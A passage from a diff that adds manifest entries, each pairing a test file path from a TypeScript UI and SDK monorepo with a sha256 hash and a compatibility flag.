"packages/ui-react/tests/frontmatter.test.ts":{"sha256":"2af2f8a36f193be90d36a1b57360a76ed8387f1218eca9243fde6886ed23f5b3","compatible":true}, + "packages/ui-react/tests/github-details.test.ts":{"sha256":"d9db03511611169685509d8a20174bffbb41bb1812a56d36db8f664ff1972ebc","compatible":true}, + "packages/ui-react/tests/graph-core-unavailable.test.ts":{"sha256":"1c81915050c65951a7c8b8cb1738db62d6831869c35c11813942040c713464a1","compatible":true}, + "packages/ui-react/tests/graph-helpers.test.ts":{"sha256":"762d21bd291b0a5fb42bd25927e72abf3e410160471c88f176fe53d1b3b26e48","compatible":true}, + "packages/ui-react/tests/graph-layout.test.ts":{"sha256":"2d0ec3f2fa3bd4a2b5355400f9495cdb6cdafc107053d2ddc0bd68e13848d90a","compatible":true}, + "packages/ui-react/tests/graph-node-size-scale.test.ts":{"sha256":"b92bb8632695691a726faa1d4ba95691109671cf6a45381a6852ea45377672d3","compatible":true}, + "packages/ui-react/tests/graph-separation.test.ts":{"sha256":"c816a7f73eee7c365cd150bdf69323b8227ba89a92eaf35e1d417661dff7f450","compatible":true}, + "packages/ui-react/tests/graph-store.test.ts":{"sha256":"3fb67ed90b5b5c12b58fc7c39217ffe27a2ed6d3b2eb79c5bc3734202e022623","compatible":true}, + "packages/ui-react/tests/haiku-model-runtime.test.ts":{"sha256":"ea3add6a645321486671128354adf45ad36aabc95c9c3ffc12e137fe3e4e0957","compatible":true}, + "packages/ui-react/tests/handoff-entry.test.ts":{"sha256":"33d8aa6164f4f8a38f280e91d89e3ca16e7e9028d5183571ba02ae6631d3aa1e","compatible":true}, + "packages/ui-react/tests/handoff-lib.test.ts":{"sha256":"ac9c7cf6458435eba3e5f66ac6ff3ff024c711ed46d3a9516c812bee18bb54a2","compatible":true}, + "packages/ui-react/tests/html-preview-runtime.test.ts":{"sha256":"2f637e24d0107aa953f6a82e6c116cec12264520b7f14e066a7f1af0e23204b6","compatible":true}, + "packages/ui-react/tests/image-mask-renderer.test.ts":{"sha256":"dc289d9acbbe520fe45f740c68da6ccac12d3ffd00138a2fce0449c8654e0d67","compatible":true}, + "packages/ui-react/tests/image-optimize.test.ts":{"sha256":"59d385393d0842641a8deed6a69301d9c91fb067742738e3ca939263bed19d8d","compatible":true}, + "packages/ui-react/tests/image-source.test.ts":{"sha256":"6c6775d2dc1dc69cad6e5f5c435f2ccad82d117eea4938d6909f75353499c453","compatible":true}, + "packages/ui-react/tests/inbox-store.test.ts":{"sha256":"ffcb721667c58c9757b65820b0a7fd85cf4c52d0eb08409328cc2dca58496b72","compatible":true}, + "packages/ui-react/tests/lazy-chunk.test.ts":{"sha256":"01563ff0cef7ba9f492885511c620cdebc81b6fa1f2677350a22ef206ac92012","compatible":true}, + "packages/ui-react/tests/light-dark.test.ts":{"sha256":"ad1196ab3bad97717d0514e24a98b8c123492e40d498fb935f4eeb5b7da65af0","compatible":true}, + "packages/ui-react/tests/live-service-runtime.test.ts":{"sha256":"5c4a21a552b55771e92065e8093bb5ac0a36313af54c00c983282b08208e3553","compatible":true}, + "packages/ui-react/tests/liveness-clock.test.ts":{"sha256":"720a299875b4492d12af76ac70d778f379105e51436d6867013368ca569b978d","compatible":true}, + "packages/ui-react/tests/local-work-runtime.test.ts":{"sha256":"93d993fd06b2c24c1052665bec510acf1c69f00be6c1a39bde0eb835e50eeddf","compatible":true}, + "packages/ui-react/tests/location-card.test.ts":{"sha256":"2c0341a425ce32e659d4b9e29573a32fabdca53864d7e74c4e0228e3d3550dbe","compatible":true}, + "packages/ui-react/tests/map-block.test.ts":{"sha256":"a41bed6fd193e077416dcae10e5fdc62998d29e38e2e04d020013ad979f277ba","compatible":true}, + "packages/ui-react/tests/markdown-blocks.test.tsx":{"sha256":"598413769e27b7f07f132808e6a393eaecb12195bef6b74b9a643993412883f7","compatible":true}, + "packages/ui-react/tests/markdown-range.test.ts":{"sha256":"922680f5f038d0208beefb2593477b9969c5ec52408b6e0b513472f7f18a6e73","compatible":true}, + "packages/ui-react/tests/media-root.test.ts":{"sha256":"64f9cf59918d826fe4285519a034b0f4109093bc212ff40639768f61b49d2d78","compatible":true}, + "packages/ui-react/tests/mermaid-content-renderer.test.ts":{"sha256":"9738ca1d47d56175f1d837403d7793dec2eb6e1723c55705044d0c70e5a9a188","compatible":true}, + "packages/ui-react/tests/mermaid-export.test.ts":{"sha256":"3e24861d50a3935433de86e0ce50bc26bdaa1b238c5fda01c94f4fcb73e33ac8","compatible":true}, + "packages/ui-react/tests/mermaid-fences.test.ts":{"sha256":"98a3e015262de74012a1e86405ea933b8a44b8769254f4b44b8471e19e6d5a69","compatible":true}, + "packages/ui-react/tests/models-billing.test.ts":{"sha256":"e2a63b534d4fd7a1eb007801b1c3db94a9559af168b2f5741ad915a8a0ae988b","compatible":true}, + "packages/ui-react/tests/notification-zone.test.tsx":{"sha256":"6c0c5f4d299adb05378cb0f58fe15607809746e83f99499bf42173108c9450d2","compatible":true}, + "packages/ui-react/tests/overlay-sites.test.ts":{"sha256":"187dc10fab650df7fdf63b10d47ba8dad3aa22ec05fe6d1ffac490c963b75247","compatible":true}, + "packages/ui-react/tests/parallel-sessions-runtime.test.ts":{"sha256":"fe121bea97f41fce6be352bf6e7a2f300392ad5c072d39be15b8ff8bfaf85df3","compatible":true}, + "packages/ui-react/tests/passkey-login-runtime.test.ts":{"sha256":"8411f4cc25993625c4f42edc9c0d2d5f511df8c32bf5248d5018652583fd1099","compatible":true}, + "packages/ui-react/tests/passkeys.test.ts":{"sha256":"23fa7e2fd38f59df3813ac7285c1bb6abdfbd1ec1b12e5653a994d07e333844c","compatible":true}, + "packages/ui-react/tests/pdf-loader.test.ts":{"sha256":"9132eaabcb1aa8b0a0fe58d5f4cd64706b0b6bece13ca69c9b3d73e5f14b5474","compatible":true}, + "packages/ui-react/tests/pdf-preview.test.tsx":{"sha256":"e241720508e749fef7b756420ca7ce4952f0109ca7fc0af5d7743bb2b5351598","compatible":true}, + "packages/ui-react/tests/pdf-real-library.test.ts":{"sha256":"4fc988eb32ecf69fdc99343a864ab34463c019f82c0554a7c5f804ae7b234301","compatible":true}, + "packages/ui-react/tests/persona-settings-runtime.test.ts":{"sha256":"5b840c390c74a2e7cbf00a0dd2590ba0d5bc649aa534c8432396eae10b082aa8","compatible":true}, + "packages/ui-react/tests/prose-links.test.tsx":{"sha256":"49babc8f2947f6e2f619065104db0f6bccb2908104df60221096f78df683df8b","compatible":true}, + "packages/ui-react/tests/provider-store.test.ts":{"sha256":"1b66ab972fa6c9e6e288768a489a801aa2bb4347f589319d53bf9d9837fa0ad4","compatible":true}, + "packages/ui-react/tests/reconnect-reattach.test.ts":{"sha256":"b9f53b19471e81a2796fa61ce4562f3098651c4b8a9c8c8600364c981fa8396f","compatible":true}, + "packages/ui-react/tests/recording-transcription.test.ts":{"sha256":"95e42cb846f3202f7b8c368a67a564ceee4ed46ee7011ffa9f8c47ebdb397d77","compatible":true}, + "packages/ui-react/tests/registration-on-mount.test.tsx":{"sha256":"ab08091e79cc7cca48e85d04b3f624a4e662168819df5a01b4d35aa5d5b18734","compatible":true}, + "packages/ui-react/tests/render-entity-tags.test.ts":{"sha256":"07f3a94df76df43b7151182a996c8c8dec5d263af826e826f1f6b52c9740b85c","compatible":true}, + "packages/ui-react/tests/render-smoke-cleanup-runtime.test.ts":{"sha256":"b00c41256a7bdd57f5ff6a30b2b91b2939b7fcf87e9b150da71afb5c2c27b2eb","compatible":true}, + "packages/ui-react/tests/render/activity-report.test.tsx":{"sha256":"e5d82863eff5a71908aa2d3837eca652f42a336bb5d92c0fc505ccbacc47d82d","compatible":true}, + "packages/ui-react/tests/render/answer-delivery.test.tsx":{"sha256":"b193d9cb7509673637a6b393420264cd3d94dbfe033c2eb1efe4481c529bb033","compatible":true}, + "packages/ui-react/tests/render/answer-suggestions.test.tsx":{"sha256":"ce1c525db4b051efa9e66d6909b8a68793add7e6fe29e0d60a15a0422af5f3c5","compatible":true}, + "packages/ui-react/tests/render/approval-effect.test.tsx":{"sha256":"e1e0bdec6cf7802cb6b7c9c0d0e3ce652588662ea21f1ee2a5a60f9463b3d803","compatible":true}, + "packages/ui-react/tests/render/ask-user-form.test.tsx":{"sha256":"1f1b3e83ba9402f186065599621f94993b494f73a0cc1881bf983ad49d1795ed","compatible":true}, + "packages/ui-react/tests/render/ask-user-list.test.tsx":{"sha256":"b3d21adc4c6bcd646efbec38926405cf366234db51ce951ba1e05dd7f82ff8e8","compatible":true}, + "packages/ui-react/tests/render/ask-user-rank.test.tsx":{"sha256":"d9e5e799734634a6dfc6977ac09b3a2b4b4d75a599860735b0d9eaee37cc210b","compatible":true}, + "packages/ui-react/tests/render/ask-user.test.tsx":{"sha256":"045b5e213b312cf7d7299ecf9e0a6b092f05e6fa0c66f19e14d6d42f963f94bc","compatible":true}, + "packages/ui-react/tests/render/block-card.test.tsx":{"sha256":"05552bb946b3a71bdd7197859d0492227ec507ac47356deafbcdcb604234e896","compatible":true}, + "packages/ui-react/tests/render/classified-blocks.test.tsx":{"sha256":"200622c32473b6327c655309b9a98d071dfc6298e1475c9e3c37ac7714e49c38","compatible":true}, + "packages/ui-react/tests/render/composer.test.tsx":{"sha256":"f31a88c0561ad56e409e1aea982f2cc22dc3ecdc8a17bea945a338518b30eeab","compatible":true}, + "packages/ui-react/tests/render/copy-control.test.tsx":{"sha256":"1876b9efb06444f5256609f68274a5a13054523802d6ed183a5c7f0255406433","compatible":true}, + "packages/ui-react/tests/render/desktop-panes-sixth.test.tsx":{"sha256":"34d7ec4c651fad10210c405ce1dc31e8d00b64f7f88f66fcdf8f28543e407e70","compatible":true}, + "packages/ui-react/tests/render/dictation-provider-end.test.tsx":{"sha256":"85f7d3069707e26ddddf43fef242f2dc46cdfd9467981b8f196bd64b9313c22d","compatible":true}, + "packages/ui-react/tests/render/dictation-selection.test.tsx":{"sha256":"08e0080b838ce74dc11d1c7ec0a035dccde069b6086eef3cb6576815055a0d92","compatible":true}, + "packages/ui-react/tests/render/dictation-settings-save.test.tsx":{"sha256":"8dd6170e2f4ef1df8b4149c626617f3c846778cad3f8071279285bc3f0b3217b","compatible":true}, + "packages/ui-react/tests/render/dictation-teardown.test.tsx":{"sha256":"e29f8d994ae528401b6ea49fb3c2f1adf11e55443fca5213e83da6b0587fbbf0","compatible":true}, + "packages/ui-react/tests/render/durable-actions.test.tsx":{"sha256":"8639c378e0407a86e1f9e3f8008793b6d2e461e9f80161569f4eb21fa9448593","compatible":true}, + "packages/ui-react/tests/render/ended-question.test.tsx":{"sha256":"d87ac1085551ba4f35cf7ec2674a7e69b71dd36eec16e3068ca6bd883fd82552","compatible":true}, + "packages/ui-react/tests/render/error-card.test.tsx":{"sha256":"c00c13410a05c151881a8bb04e4648603829d84b7e955bda08c70009c4f52e53","compatible":true}, + "packages/ui-react/tests/render/github-tools.test.tsx":{"sha256":"1d929de7b789252e2b2e559c0c39d48c4b114ad8809257987fc444bf64624e95","compatible":true}, + "packages/ui-react/tests/render/handoff-entry.test.tsx":{"sha256":"31c65c2480c4dd2ba93b3d3895603296165e8e1016b2793eedcdfe4d75984b70","compatible":true}, + "packages/ui-react/tests/render/handoff.test.tsx":{"sha256":"d2548be76790180ddbe17d3d479c29ca57508ac48c3afdcc6e8e03430e46a4f4","compatible":true}, + "packages/ui-react/tests/render/image-markup.test.tsx":{"sha256":"05184746aa4b0dafd94393d3eb44806efb987a8396b963ece624c96ce19be431","compatible":true}, + "packages/ui-react/tests/render/message-source.test.tsx":{"sha256":"1c6e2ab237878456922bada0a94d99d511ea9cf048a854bbc0744703704e26b0","compatible":true}, + "packages/ui-react/tests/render/persona-settings.test.tsx":{"sha256":"d9e1591c7a24a6cbd7338e929d2e5ba95bdc0a5e0c46783268d5f9dd4443e71e","compatible":true}, + "packages/ui-react/tests/render/render-smoke.test.tsx":{"sha256":"4d3e3deec44c9c5ca9e26e810cb375b433ca94ceeb91d9f07ec4b5032502a33e","compatible":true}, + "packages/ui-react/tests/render/renderer-bundling.test.tsx":{"sha256":"e03ea76033fd95ff4a5f7b2cb48c45a65d830ff5f847b3acb23bccb13bf6c4ec","compatible":true}, + "packages/ui-react/tests/render/restored-approval.test.tsx":{"sha256":"5a1d71012429ae349e355a82bb040d33e9cb6f2a0f78399f006094a64fad0b54","compatible":true}, + "packages/ui-react/tests/render/slide-panel.test.tsx":{"sha256":"2dd324ce8d69532a37c64a71f23fb712a018760aba67ec28e5338e2d0c5d1d09","compatible":true}, + "packages/ui-react/tests/render/staged-tracks-unload.test.ts":{"sha256":"4070025b83cd6ba74499bb663449aafe7ff4d31b59641bdbf9c323e88d2b3ae4","compatible":true}, + "packages/ui-react/tests/render/stats-answer.test.tsx":{"sha256":"f939a3c1e159c5dc81c169b1eda1853194f76c3bc76e3b97cbd710c218e8cc9c","compatible":true}, + "packages/ui-react/tests/render/stats-session.test.tsx":{"sha256":"23cbbce779a46d7b788d77ba943b989c5bdee2c11200568e8ffab722d5708c13","compatible":true}, + "packages/ui-react/tests/render/streaming-markdown.test.tsx":{"sha256":"2a35aa46c23e6c7cf25045343afa40fd9fe192a13c9cf5048d45e9146ed014fa","compatible":true}, + "packages/ui-react/tests/render/turn-failure.test.tsx":{"sha256":"f88054e499231442d92fe87037e420e06945b46d9885fb68176a41e66ed5768a","compatible":true}, + "packages/ui-react/tests/render/turn-timing.test.tsx":{"sha256":"82f8129a0d94eb3b2bb071524651676bd6669960c5439bd0cd54411398b85298","compatible":true}, + "packages/ui-react/tests/render/update-holds.test.tsx":{"sha256":"6d902e9eaedd13084ef036935cd21407c505c7bb36cfc25b6484999976b3699c","compatible":true}, + "packages/ui-react/tests/render/worker-host-notice.test.tsx":{"sha256":"ae88a9313f1af2d6bd3b29022c1a68c848044d16f54e853a24496615806a532c","compatible":true}, + "packages/ui-react/tests/restored-approval-store.test.ts":{"sha256":"6c89055a11d5fd7a36d729376b2bf6952ecaa6181b7efd7c1d7e1828ac886145","compatible":true}, + "packages/ui-react/tests/retry-turn.test.ts":{"sha256":"63e5f6e4a6673d4a550643e2895a0f447be1273cea426afbb7910f73c78f0950","compatible":true}, + "packages/ui-react/tests/risk-hints.test.ts":{"sha256":"a91596eedd98b6b4e59cc3e4102c6c5d44e5e55de4d63e81e848e772490980cd","compatible":true}, + "packages/ui-react/tests/root-isolation.test.ts":{"sha256":"ec10aa4781b3dc73428de2d4255364ce4e8b567cef3e8fc31cb391fcad88f8d4","compatible":true}, + "packages/ui-react/tests/runtime-hook-phases.test.ts":{"sha256":"fdcfae0c4a51369cdde1ec41a3b6d7561ecd261e13e1ac58c6829db93ef37f02","compatible":true}, + "packages/ui-react/tests/safety-client.test.ts":{"sha256":"9d8c893b373313d5d847f467718c008a10e8d8f5f40b93484752a25caf796eb7","compatible":true}, + "packages/ui-react/tests/safety-evidence.test.ts":{"sha256":"8cbf62907672379803a1b05121bb98d278d035d4438a9d37f6d3d62d623757c3","compatible":true}, + "packages/ui-react/tests/safety-reviewer.test.ts":{"sha256":"5f8699f8642dadccf59df9ae71e65d1695b4a3134a2bc30a13ca9d7ca6cc9be2","compatible":true}, + "packages/ui-react/tests/scratch-link.test.ts":{"sha256":"f891ef2fe51b824a9bcfcab9bae67f2ab73a8719a06c6ea6a74e2b7e47f2cab7","compatible":true}, + "packages/ui-react/tests/scratch-links-render.test.tsx":{"sha256":"1fb087ea2cdd4388622bb60ab28895f4e68345e9bd0c2deb7bfd7ad7f82aaec6","compatible":true}, + "packages/ui-react/tests/scratch-links-runtime.test.ts":{"sha256":"06ae64c73ca458cc0fafc8e783537b908640496d9c174b8a7841c55237c8367e","compatible":true}, + "packages/ui-react/tests/search-results.test.ts":{"sha256":"bc3ec21359a7ecb091a33793eb9695cbfc05d966f04e44c616cd04cc1cf90b1c","compatible":true}, + "packages/ui-react/tests/search-snippet.test.ts":{"sha256":"e2420444faf841152f0fe7e7bdd7239afa81fe2da143347a66ae481940f4124b","compatible":true}, + "packages/ui-react/tests/session-demux.test.ts":{"sha256":"12da5a6e7d725ca1bf9fc210ee89fc19f06f6885b29673a311543eefda0b2e67","compatible":true}, + "packages/ui-react/tests/session-restoration.test.ts":{"sha256":"bcced0c4bfa8f8944c6048399ab4414189f805b607e963aa5b91a49f8f6967b3","compatible":true}, + "packages/ui-react/tests/share-document.test.tsx":{"sha256":"53dcb655ac094c67bb7fc56675888e3ce6f682b5d33e34d9df1e15a015b26b8b","compatible":true}, + "packages/ui-react/tests/share-draft-compatibility.test.ts":{"sha256":"6e5a5f500769f65ae10eb86fd7b05c1cd179d8815d57c38985f9e04ee9c142a9","compatible":true}, + "packages/ui-react/tests/share-draft-runtime.test.ts":{"sha256":"64882c41c24d8c0246186b15d9bcb077b588dd1f5b0f0f041044c90d701d339d","compatible":true}, + "packages/ui-react/tests/share-intake.test.ts":{"sha256":"a7341623a28e61b72cf7e76955e8ca9efebfbe4c96cef1e3dc66337c39cad031","compatible":true}, + "packages/ui-react/tests/shell-stores.test.tsx":{"sha256":"d04708bbd3cc0c34ae2adac70c7ceba1074547e763dfbb19dbbee46d5baefbe0","compatible":true}, + "packages/ui-react/tests/soft-keyboard.test.tsx":{"sha256":"e873c5e6b3d219205fb9855aff17185d9fe88470d1253b06de543132e78080aa","compatible":true}, + "packages/ui-react/tests/software.test.ts":{"sha256":"e528e03c66fbd1aaf81f5aa1e95b773ea745a7bd869beb2421c75e43cefce19e","compatible":true}, + "packages/ui-react/tests/span-bits.test.ts":{"sha256":"ff4b0153ce96ca5ead996d0c74936a72002a4698de59920a6ec39de52c26152f","compatible":true}, + "packages/ui-react/tests/speech-builtins-conformance.test.ts":{"sha256":"1c444a62c002b00390125cdc1cf0e41b31a6cbd0b136b12c5c1d21dcfce34ec7","compatible":true}, + "packages/ui-react/tests/ssr-import-runtime.test.ts":{"sha256":"0612fed089344e8b927509b79ce7dba36a161d96710174085e11b3f45a1bd72a","compatible":true}, + "packages/ui-react/tests/start-card-runtime.test.ts":{"sha256":"7bdb0565f779ec16ad1ebd8df163fcfb653668391f544f4d26c3be328f805f43","compatible":true}, + "packages/ui-react/tests/stats-answer.test.ts":{"sha256":"fef727454f3d7446baa9562d119fad4c3fb1e4842288f42b5b0b435e26e3653d","compatible":true}, + "packages/ui-react/tests/store-races.test.ts":{"sha256":"78b1767cb17443328c0afe281b8fc9dd6f18c461a7091f38d9841377279704c3","compatible":true}, + "packages/ui-react/tests/stream-link-hold.test.ts":{"sha256":"53fabad10859b4d6514f65fc1083cdd6801531c5ea4adc404243b0a6dc252852","compatible":true}, + "packages/ui-react/tests/theme-neutral.test.ts":{"sha256":"348224130f647910faa98bfca36d59dfa6a3dbec86cf707c1f1be77e5459c1a1","compatible":true}, + "packages/ui-react/tests/tool-renderers.test.ts":{"sha256":"14ab29c0aa812dbc130d29a9433e0d80b28781aeb026c67ba9ac7cd8f28d9fff","compatible":true}, + "packages/ui-react/tests/tool-views.test.ts":{"sha256":"dc0b4c0da114b7292a6c534f9fd713f5b1c82845137779c2901f8ee64bb0b165","compatible":true}, + "packages/ui-react/tests/track-display.test.tsx":{"sha256":"de4e1d886ac38962bdb75d0f2620eee04b240ebeca82707d338cb9585564981f","compatible":true}, + "packages/ui-react/tests/track-drafts.test.ts":{"sha256":"b284a943fd916984c2accab6a953be3df41dadcbf235c8dd2ba412629c074434","compatible":true}, + "packages/ui-react/tests/track-uploads.test.ts":{"sha256":"3496f450d2d9ed00e6000d48765559a8be5afe16f2e507f957c7f8e0fd604af8","compatible":true}, + "packages/ui-react/tests/tracker-announcer.test.ts":{"sha256":"4616b674ab58930fb65dce7f58cbc4c8533dfa0ed8fdeef774b61f362b51d388","compatible":true}, + "packages/ui-react/tests/tracker-runtime.test.ts":{"sha256":"d2c8ca3756909666b5664c123afa2c2eeb778f998d5e7d0e2689f5d0a0dbecb0","compatible":true}, + "packages/ui-react/tests/tracker-store.test.ts":{"sha256":"8b2be26f7920568fb6c9e19dfb6aae42379eac3e6328d1841b9e9c321d55a841","compatible":true}, + "packages/ui-react/tests/trackers.test.ts":{"sha256":"38ad0c68a8a73037dc6213f328fa259d81ea12eaf2760702917e3f4734ef4b44","compatible":true}, + "packages/ui-react/tests/transcript-timeline.test.ts":{"sha256":"b661f77b13f309c27437bf42b15db172161c13b6b810b0d3e45bad43bc6e7cdc","compatible":true}, + "packages/ui-react/tests/turn-journal-count.test.ts":{"sha256":"62785e0954e0962efecf03c938a00db56826b8f3b765230e7788415667d4b4e6","compatible":true}, + "packages/ui-react/tests/turn-journal-runtime.test.ts":{"sha256":"bc35708b61f3aae787e18cbd3fc4dc6db98905991811ab13d0255d51988b5243","compatible":true}, + "packages/ui-react/tests/ui-store.test.ts":{"sha256":"2fbbad852642332565332477981b47ac59e21b9f17acc30ff99827b6004bb057","compatible":true}, + "packages/ui-react/tests/untrusted-marks-runtime.test.ts":{"sha256":"28b093da9ac86c43bc3dd23ed6be38b200e379df12bb993b8af155f68f73d1df","compatible":true}, + "packages/ui-react/tests/wikilink-resolver.test.ts":{"sha256":"af8ddc9baf56c2c5756306ac54d51edf9550b8157e4c5a6b58b55df24fb984ab","compatible":true}, + "packages/ui-react/tests/ws-client-lifecycle.test.ts":{"sha256":"2ad52509106b59371e977849a590da27b9c3d7205e607a11a57efd0f8de0a6d5","compatible":true}, + "packages/ui-render-puppeteer/tests/crash-recovery.test.ts":{"sha256":"355eb8e75b21172b86cc2c35d42dbc84a082c4cf82932fd3df7f726cb680185b","compatible":true}, + "packages/ui-render-puppeteer/tests/phase-budgets.test.ts":{"sha256":"e657870c8baaa53490b58247db4f5c1f47a8936b2534c9e62a7e3022c6c80724","compatible":true}, + "packages/ui-render-puppeteer/tests/png-bounds.runtime.test.ts":{"sha256":"99137286e8335fdf3fe5c3f5317255586b18b0690f56ee882eb23652a7b9eded","compatible":true}, + "packages/ui-render-puppeteer/tests/renderer.test.ts":{"sha256":"a807b353af270a3aa6064b5bd67ec85e896bba156794bcc802d138415aa313bd","compatible":true}, + "packages/ui-render-puppeteer/tests/runtime.test.ts":{"sha256":"0f41f826b21e295f072f53a31cbc94b97d82b1ddb40c5834c1cd981a34aa0862","compatible":true}, + "packages/ui-sdk/tests/activity-schemas.test.ts":{"sha256":"8cb2b7b19b2b44763a6988b706619db32b905c5f057153ea15437b7ec1a14a56","compatible":true}, + "packages/ui-sdk/tests/ask-user-form.test.ts":{"sha256":"e34e53bfa93ef41f15dc35b75e3f6e40d90ee1e3f4afaa467d641e47abaab834","compatible":true}, + "packages/ui-sdk/tests/ask-user-list.test.ts":{"sha256":"1f3ed653b77c6dc3da08930f3a774f44e0040f712d2c8ae950a5080470dcd658","compatible":true}, + "packages/ui-sdk/tests/ask-user-rank.test.ts":{"sha256":"359cad33567331b2b65a07dbec7b3b52bbb6518c348fc0872ef9ed80d74580ec","compatible":true}, + "packages/ui-sdk/tests/backend-conformance.test.ts":{"sha256":"0c7b61f857fea7709763c73c1858814756da3bce5d96ee85c1ac161ffd555416","compatible":true}, + "packages/ui-sdk/tests/backend-cost-conformance.test.ts":{"sha256":"f145f490ddf3bfd859dd0af30b85a7563a15af397d6e2ece89a05add6ba4db31","compatible":true}, + "packages/ui-sdk/tests/backend-toolkit.test.ts":{"sha256":"e7961db1c43824a45e63a16e2f60db0600961efd7a1d7c0b4b3070c88d10983f","compatible":true}, + "packages/ui-sdk/tests/boot-prune-capture.test.ts":{"sha256":"7f0116354e4c6d0ea2f62a78b337ae22d7f69df07710532304e51c621fd25a5a","compatible":true}, + "packages/ui-sdk/tests/brain-read-base.test.ts":{"sha256":"3c451e8e9210aed9e7bb6a6132624e1bea80976daf9c37d2d40f2ab104b45482","compatible":true}, + "packages/ui-sdk/tests/bridge-tools.test.ts":{"sha256":"9c06d7f08c302dcd00bc7f4d6269077a283d04ebb802d2467828be53137580ad","compatible":true}, + "packages/ui-sdk/tests/classification-catalogue.test.ts":{"sha256":"9708053eea078f09db7dec4219de90c9f58d93ece9cf5786d9fce0a1b45f8854","compatible":true}, + "packages/ui-sdk/tests/classification-detect.test.ts":{"sha256":"81a6a06de3200a72c27d8ea45e78fd6a8557c9f3dacfdedb11a2ffb2b578a3e7","compatible":true}, + "packages/ui-sdk/tests/client-environment.test.ts":{"sha256":"f317566834956f6739733f13c9488981b77ff5fa09d7ef45b5459698ac384f82","compatible":true}, + "packages/ui-sdk/tests/client-turn-receipt.test.ts":{"sha256":"2db7e803787ee4bb86b8f4fc841483dd070931071899621273f7a4f846f7f7de","compatible":true}, + "packages/ui-sdk/tests/coastline.test.ts":{"sha256":"d9161d133922a0a8c4160f1a519dde070d4bc3706063d06f51ec7a7bdab8a563","compatible":true}, + "packages/ui-sdk/tests/confirm-pattern-effects.test.ts":{"sha256":"96172d62b7c176d8c9dd3805e4df5888f791b78451c80f09027c2f4d8bdb0b68","compatible":true}, + "packages/ui-sdk/tests/containment-rows.test.ts":{"sha256":"e690ee62d0613ad8d4f1339cc8162ebc4d27152d9a4c34ca24fc5193b8718105","compatible":true}, + "packages/ui-sdk/tests/content-renderer-presence.test.ts":{"sha256":"95582faa7c8b8fbf148d7ae72a6be537e1b148357c6a7898e1e71d51f4bc542d","compatible":true}, + "packages/ui-sdk/tests/content-renderers.test.ts":{"sha256":"fca1956502fb3e09940aa3f96161fc3df873f2af9eb4ddd2b7d03e6204f64923","compatible":true}, + "packages/ui-sdk/tests/conversation-schemas.test.ts":{"sha256":"5e43aaa65790f0512ca0d3acb532af77721c2ecca22a342c4ca3ad884d41b0ae","compatible":true}, + "packages/ui-sdk/tests/credential-exclusion.test.ts":{"sha256":"a673890f13c843982eade3abbc30acca7238e0bdeb22c13f2f8a51b8b04cd7b2","compatible":true}, + "packages/ui-sdk/tests/db-repeat-observation.test.ts":{"sha256":"784998205814e5606e7a0f3ba81b267eac38bd735ddcb126a253ebb87d34aaf6","compatible":true}, + "packages/ui-sdk/tests/default-identity-phases.test.ts":{"sha256":"c0900e31424820e12d0081110a0cf3c69e197c62489e95da3bb8a57265cee597","compatible":true}, + "packages/ui-sdk/tests/device-unknown-prompt.test.ts":{"sha256":"2f15e957ed6718680963dd1b5c99d694a8c616776956b24a390a5ba3fe89ec45","compatible":true}, + "packages/ui-sdk/tests/drafts-protocol.test.ts":{"sha256":"c1820b7a696e538149ee886983d1a92b28ea12f9a346c404ac77812a8fddc510","compatible":true}, + "packages/ui-sdk/tests/egress-charge-reasons.test.ts":{"sha256":"67952c6c00ca92f632d0e1df43b1daa7f0ebaf936a6b89d86d4cca888a9c7753","compatible":true}, + "packages/ui-sdk/tests/egress-destinations.test.ts":{"sha256":"98ba5837ea5266f4a46579f7834ab205d9b96c65a065635cc05a0947d5bcb3b4","compatible":true}, + "packages/ui-sdk/tests/egress-operation-lifecycle.test.ts":{"sha256":"62090c2efb2f59a49dfedffcc2a6a884b983acc56a2edff2d3d15cefe9ae84af","compatible":true}, + "packages/ui-sdk/tests/egress-proxy.test.ts":{"sha256":"b28b8f7355cc5254e749cfde26b8b41550e5cc6b11e219ace0b5760016968af8","compatible":true}, + "packages/ui-sdk/tests/egress-reference.test.ts":{"sha256":"a99885d6de6fe6bef3252e66241734e21d35673f8bbaa505fc9e16bf70fb68a4","compatible":true}, + "packages/ui-sdk/tests/egress-socket-ownership.test.ts":{"sha256":"079ffc1112d54f595f403e1b725bb3c712c42bc98d40a50632b736266d91aa93","compatible":true}, + "packages/ui-sdk/tests/egress-worker-runtime.test.ts":{"sha256":"4ab892907bd7cbaff455fd107d8749bbbbf872ac453989ad2043c892a5fa38e4","compatible":true}, + "packages/ui-sdk/tests/exec-wrapper.test.ts":{"sha256":"96e2b2f62e3420f74a2493c3e065d06453728ee4fd23794a485bd7f5054dd4d3","compatible":true}, + "packages/ui-sdk/tests/fixture-retention.test.ts":{"sha256":"0ea44173cc28ff40a3ad2b6b1a8075f4c6df52deececdcd3ac49f7b571df1d29","compatible":true}, + "packages/ui-sdk/tests/gate-holder-crash.test.ts":{"sha256":"ef226fd5ee16e40a8a061c1934f3deb8ed3a92b460db28efa2bc2482d40f1ad2","compatible":true}, + "packages/ui-sdk/tests/github-tool-contract.test.ts":{"sha256":"49d6827b7b348fbb9fb6657bae33e262089c27304a7a0f1ddaeff3add8ffcaa9","compatible":true}, + "packages/ui-sdk/tests/github-tools-brief.test.ts":{"sha256":"06581b1994f243d0da8e20511d3732b4a1b2e798839881ede2798e98191d1142","compatible":true}, + "packages/ui-sdk/tests/governed-worker.test.ts":{"sha256":"3eedd92e966250a67fa7dd9314d30ae7e1b091cb93e026187ee49b619991d56e","compatible":true}, + "packages/ui-sdk/tests/handoff-protocol.test.ts":{"sha256":"60dfa644b127fdeb91cc2be7db2b3b1d97586ba8f2224cad0729d1f3b01d3314","compatible":true}, + "packages/ui-sdk/tests/host-git-credentials.test.ts":{"sha256":"88105a9847dc564ad27dd19eedc29ce231e0d5be10169fb75b13933e00e70ec8","compatible":true}, + "packages/ui-sdk/tests/identity-gate-holder-crash.test.ts":{"sha256":"569938891920df78228423869c3efd90f0b854b2b3c90e516d40c903ecd298bc","compatible":true}, + "packages/ui-sdk/tests/inbox-schemas.test.ts":{"sha256":"ba36413d18b2f04803498eb414f8f3e2a1deaec33e8a8a2b4e7cbc869839b209","compatible":true}, + "packages/ui-sdk/tests/inference-clocks.test.ts":{"sha256":"5162cad8de4a574f00f1c77c1469a7dcbc202380e48867229052a9e7f6957a63","compatible":true}, + "packages/ui-sdk/tests/inference-diagnostic-isolation.test.ts":{"sha256":"4b38e59e2d67932ea5110e811f7c68361a246ffeb98de23cf174f1902326e714","compatible":true}, + "packages/ui-sdk/tests/inference-egress.test.ts":{"sha256":"c78c7f4c9205313e8123e564a031d7b926802412966df9f07615c251b8c4133b","compatible":true}, + 